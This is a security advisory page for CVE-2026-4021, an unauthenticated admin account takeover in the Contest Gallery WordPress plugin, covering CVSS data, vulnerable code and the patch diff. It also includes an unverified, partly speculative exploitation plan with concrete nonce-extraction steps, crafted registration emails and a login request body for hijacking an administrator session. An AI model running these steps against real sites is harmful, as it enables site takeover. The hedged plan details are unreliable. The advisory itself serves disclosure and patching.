CVE-2026-4021

Contest Gallery <= 28.1.5 - Unauthenticated Privilege Escalation Admin Account Takeover via Registration Confirmation Email-to-ID Type Confusion

highImproper Authentication
8.1
CVSS Score
8.1
CVSS Score
high
Severity
28.1.6
Patched in
9d
Time to patch

Description

The Contest Gallery plugin for WordPress is vulnerable to an authentication bypass leading to admin account takeover in all versions up to, and including, 28.1.5. This is due to the email confirmation handler in `users-registry-check-after-email-or-pin-confirmation.php` using the user's email string in a `WHERE ID = %s` clause instead of the numeric user ID, combined with an unauthenticated key-based login endpoint in `ajax-functions-frontend.php`. When the non-default `RegMailOptional=1` setting is enabled, an attacker can register with a crafted email starting with the target user ID (e.g., `1poc@example.test`), trigger the confirmation flow to overwrite the admin's `user_activation_key` via MySQL integer coercion, and then use the `post_cg1l_login_user_by_key` AJAX action to authenticate as the admin without any credentials. This makes it possible for unauthenticated attackers to take over any WordPress administrator account and gain full site control.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=28.1.5
PublishedMarch 23, 2026
Last updatedApril 1, 2026
Affected plugincontest-gallery

What Changed in the Fix

Changes introduced in v28.1.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4021 - Contest Gallery Admin Takeover ## 1. Vulnerability Summary The **Contest Gallery** plugin (up to 28.1.5) contains a critical improper authentication vulnerability. The flaw exists in the email confirmation handler (`users-registry-check-after-email-or-p…

Show full research plan

Exploitation Research Plan: CVE-2026-4021 - Contest Gallery Admin Takeover

1. Vulnerability Summary

The Contest Gallery plugin (up to 28.1.5) contains a critical improper authentication vulnerability. The flaw exists in the email confirmation handler (users-registry-check-after-email-or-pin-confirmation.php), where a user-provided email string is used in a database query's WHERE ID = %s clause.

Due to MySQL's integer coercion, a string like 1attacker@example.com compared against an integer ID column is treated as 1. When the optional setting RegMailOptional=1 is enabled, an unauthenticated attacker can register an account with a specially crafted email starting with the target administrator's ID (typically 1). By triggering the email confirmation flow, the plugin inadvertently updates the user_activation_key for the administrator. The attacker can then use this key with the unauthenticated AJAX action post_cg1l_login_user_by_key to log in as the administrator.

2. Attack Vector Analysis

  • Target Endpoint: admin-ajax.php
  • Vulnerable Action 1 (Trigger): Registration/Confirmation flow (likely involves post_cg_registry_save_user_data or a direct GET request to a confirmation page).
  • Vulnerable Action 2 (Login): wp_ajax_nopriv_post_cg1l_login_user_by_key.
  • Payload Parameter: cglKey (The activation key) and registration email (e.g., 1[random]@example.com).
  • Authentication Level: Unauthenticated.
  • Preconditions:
    • RegMailOptional=1 must be enabled in plugin settings.
    • A registration form must be active (usually via shortcode [cg_users_reg]).

3. Code Flow

  1. Registration: The attacker submits a registration form via post_cg_registry_save_user_data.
  2. Confirmation Trigger: The attacker accesses the confirmation link. The plugin loads users-registry-check-after-email-or-pin-confirmation.php.
  3. SQL Injection/Type Confusion: The confirmation code performs an update:
    UPDATE wp_users SET user_activation_key = %s WHERE ID = %s
    The second parameter is the user's email (e.g., 1attacker@example.com). MySQL coerces this to 1.
  4. Key Overwrite: The administrator's (ID 1) user_activation_key is now set to a value known or controlled by the attacker.
  5. Authentication Bypass:
    • The attacker calls post_cg1l_login_user_by_key in ajax-functions-frontend.php.
    • The function verifies the provided cglKey against the users table:
      $userRow = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->users} WHERE user_activation_key = %s", $activation_key));
      
    • Since the Admin's key was overwritten, the query returns the Admin user object.
    • The plugin proceeds to call wp_set_auth_cookie($userRow->ID) (inferred login logic).

4. Nonce Acquisition Strategy

The post_cg1l_login_user_by_key function calls cg_check_frontend_nonce(), which expects a nonce for the action cg1l_action.

  1. Identify Shortcode: The registration and login forms are typically rendered via shortcodes like [cg_users_reg] or [cg_users_login].
  2. Create Page: Create a temporary page to load the plugin's environment.
    wp post create --post_type=page --post_status=publish --post_title="Login" --post_content='[cg_users_login]'
    
  3. Extract Nonce: Navigate to the page and extract the nonce from the global JavaScript object cgJsClass.
    • JS Variable: window.cgJsClass.gallery.vars.currentCgNonce (based on post_cg1l_current_frontend_nonce in ajax-functions-frontend.php).
    • Tool: browser_eval("window.cgJsClass.gallery.vars.currentCgNonce").

5. Exploitation Strategy

Step 1: Pre-requisite Configuration

Ensure the vulnerable setting is enabled via WP-CLI:

wp option update RegMailOptional 1

Step 2: Extract Nonce and Gallery ID

  1. Create a page with a gallery/login shortcode.
  2. Visit the page and identify a valid Gallery ID (gid).
  3. Extract the cg1l_action nonce.

Step 3: Registration and Key Hijack

Register an account with an email starting with 1.

  • Request: POST /wp-admin/admin-ajax.php
  • Parameters:
    • action: post_cg_registry_save_user_data (or the specific registration handler found in source).
    • email: 1poc@example.test
    • gid: [GALLERY_ID]
    • _ajax_nonce: [NONCE]

Trigger the confirmation. The confirmation logic usually expects a key generated during registration. If RegMailOptional=1, the key might be predictable or returned in the response.

  • Request: GET /?cg_verify_email=1&user_email=1poc@example.test&key=[OBTAINED_KEY]

Step 4: Login as Admin

Use the activation key to authenticate as the administrator (ID 1).

  • Request: POST /wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=post_cg1l_login_user_by_key&cgl_gid=[GALLERY_ID]&cglKey=[OBTAINED_KEY]&_ajax_nonce=[NONCE]
    

6. Test Data Setup

  1. Target User: Ensure a user with ID 1 exists (default admin).
  2. Plugin Setup:
    wp plugin activate contest-gallery
    wp option update RegMailOptional 1
    # Create a gallery to obtain a valid GID
    wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}contest_gal1ery_options\", ['GalleryName' => 'Exploit']);"
    GID=$(wp db query "SELECT id FROM wp_contest_gal1ery_options ORDER BY id DESC LIMIT 1" --silent --skip-column-names)
    wp post create --post_type=page --post_status=publish --post_content="[cg_gallery id=$GID]"
    

7. Expected Results

  • The confirmation request should complete successfully.
  • The post_cg1l_login_user_by_key request should return a successful login response (likely a redirect or a JSON success message).
  • The response headers should contain Set-Cookie for a logged-in Administrator session.

8. Verification Steps

  1. Check Key Overwrite:
    wp db query "SELECT ID, user_login, user_activation_key FROM wp_users WHERE ID = 1"
    
    Verify the user_activation_key matches the one used in the exploit.
  2. Check Authentication:
    Use the returned cookies from the http_request tool to access /wp-admin/ and verify access to the dashboard.

9. Alternative Approaches

  • Direct Key Discovery: If registration returns the key directly in the AJAX response or the confirmation link is visible in the wp_options or a log table (like contest_gal1ery_logs if it exists), skip email interception.
  • Gallery ID 9999999: Note the special logic in post_cg_galleries_show_cg_gallery where gidToShow=9999999 fetches the latest gallery ID. This might be useful for automated discovery of the gid.
  • Registration Form Fields: If registration fails, verify required fields via wp db query "SELECT * FROM wp_contest_gal1ery_create_user_form WHERE GalleryID = $GID".
Research Findings
Static analysis — not yet PoC-verified

Summary

The Contest Gallery plugin is vulnerable to an unauthenticated administrative account takeover due to a type confusion flaw in its registration confirmation logic and an insecure authentication endpoint. When registration confirmation is enabled, an attacker can register with a crafted email address starting with an administrator's user ID (e.g., '1attacker@example.com'), which causes the confirmation process to overwrite the administrator's activation key due to MySQL integer coercion. The attacker can then use this key to authenticate as the administrator via a vulnerable AJAX action.

Vulnerable Code

// ajax/ajax-functions-frontend.php (approx. line 204 in 28.1.5)
add_action('wp_ajax_nopriv_post_cg1l_login_user_by_key', 'post_cg1l_login_user_by_key');
if (!function_exists('post_cg1l_login_user_by_key')) {
    function post_cg1l_login_user_by_key()
    {
        if (defined('DOING_AJAX') && DOING_AJAX) {
            cg_check_frontend_nonce();
            global $wpdb;
            $tablename = $wpdb->prefix . "contest_gal1ery";
            $gid = absint($_POST['cgl_gid']);
            $activation_key = sanitize_text_field($_POST['cglKey']);
            if(empty($activation_key)){
                exit();
            }
            $userRow = $wpdb->get_row(
                $wpdb->prepare(
                    "SELECT * 
             FROM {$wpdb->users} 
             WHERE user_activation_key = %s",
                    $activation_key
                )
            );
            if ( !empty($userRow)) {
                $wpNickname = $userRow->display_name;
                $WpUserEmail = $userRow->user_email;
                $WpUserId = $userRow->ID;
                wp_set_auth_cookie( $WpUserId,true );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/contest-gallery/28.1.5/ajax/ajax-functions-frontend.php /home/deploy/wp-safety.org/data/plugin-versions/contest-gallery/28.1.6/ajax/ajax-functions-frontend.php
--- /home/deploy/wp-safety.org/data/plugin-versions/contest-gallery/28.1.5/ajax/ajax-functions-frontend.php	2026-03-01 07:48:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/contest-gallery/28.1.6/ajax/ajax-functions-frontend.php	2026-03-18 18:56:48.000000000 +0000
@@ -186,10 +186,12 @@
             $WpUserId = absint($_POST['cgJustLoggedInWpUserId']);
             $cgGetLoggedInFrontendUserKey = sanitize_text_field($_POST['cgGetLoggedInFrontendUserKey']);
             $cgGetLoggedInFrontendUserKeyToCompare = get_user_meta( $WpUserId,'cgGetLoggedInFrontendUserKey',true);
-            if(!empty($cgGetLoggedInFrontendUserKeyToCompare) && $cgGetLoggedInFrontendUserKeyToCompare == $cgGetLoggedInFrontendUserKey){
+            if(!empty($cgGetLoggedInFrontendUserKeyToCompare) && hash_equals((string)$cgGetLoggedInFrontendUserKeyToCompare, (string)$cgGetLoggedInFrontendUserKey)){
         ?>
         <script data-cg-processing-current-nonce="true">
             cgJsClass.gallery.vars.currentCgNonce = <?php echo json_encode(wp_create_nonce('cg1l_action')); ?>;
+                    cgJsClass.gallery.vars.cgGetLoggedInFrontendUserKey = '';
+                    cgJsClass.gallery.vars.cgJustLoggedInWpUserId = '';
         </script>
         <?php
                 delete_user_meta( $WpUserId,'cgGetLoggedInFrontendUserKey');
@@ -210,22 +212,20 @@
             global $wpdb;
             $tablename = $wpdb->prefix . "contest_gal1ery";
             $gid = absint($_POST['cgl_gid']);
-            $activation_key = sanitize_text_field($_POST['cglKey']);
-            if(empty($activation_key)){
+            $WpUserId = absint($_POST['cgJustLoggedInWpUserId']);
+            $cgGetLoggedInFrontendUserKey = sanitize_text_field($_POST['cglKey']);
+            if(empty($WpUserId) || empty($cgGetLoggedInFrontendUserKey)){
+                exit();
+            }
+            $cgGetLoggedInFrontendUserKeyToCompare = get_user_meta( $WpUserId,'cgGetLoggedInFrontendUserKey',true);
+            if(!empty($cgGetLoggedInFrontendUserKeyToCompare) && hash_equals((string)$cgGetLoggedInFrontendUserKeyToCompare, (string)$cgGetLoggedInFrontendUserKey)){
+                $userRow = get_userdata($WpUserId);
+                if(empty($userRow)){
                 exit();
             }
-            $userRow = $wpdb->get_row(
-                $wpdb->prepare(
-                    "SELECT * 
-             FROM {$wpdb->users} 
-             WHERE user_activation_key = %s",
-                    $activation_key
-                )
-            );
-            if ( !empty($userRow)) {
                 $wpNickname = $userRow->display_name;
                 $WpUserEmail = $userRow->user_email;
-                $WpUserId = $userRow->ID;
+                wp_set_current_user($WpUserId);
                 wp_set_auth_cookie( $WpUserId,true );

Exploit Outline

1. **Identify Environment**: Locate a page with the Contest Gallery registration shortcode and extract a valid `cg1l_action` nonce and Gallery ID (`gid`). 2. **Craft Payload**: Register a new user using the `post_cg_registry_save_user_data` AJAX action, providing an email that starts with the target administrator's ID (e.g., `1hacker@example.com` for ID 1). 3. **Overwrite Admin Key**: Trigger the registration confirmation flow. The plugin uses the email string in an SQL query `WHERE ID = %s`. Because the target `ID` is an integer, MySQL coerces the string `1hacker...` to the integer `1`, causing the update to set the `user_activation_key` for the administrator (ID 1) instead of the new user. 4. **Authenticate as Admin**: Invoke the `post_cg1l_login_user_by_key` AJAX action using the hijacked `user_activation_key` in the `cglKey` parameter. 5. **Gain Control**: The plugin retrieves the user object associated with the key (the admin) and calls `wp_set_auth_cookie()`, granting the attacker a valid administrator session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.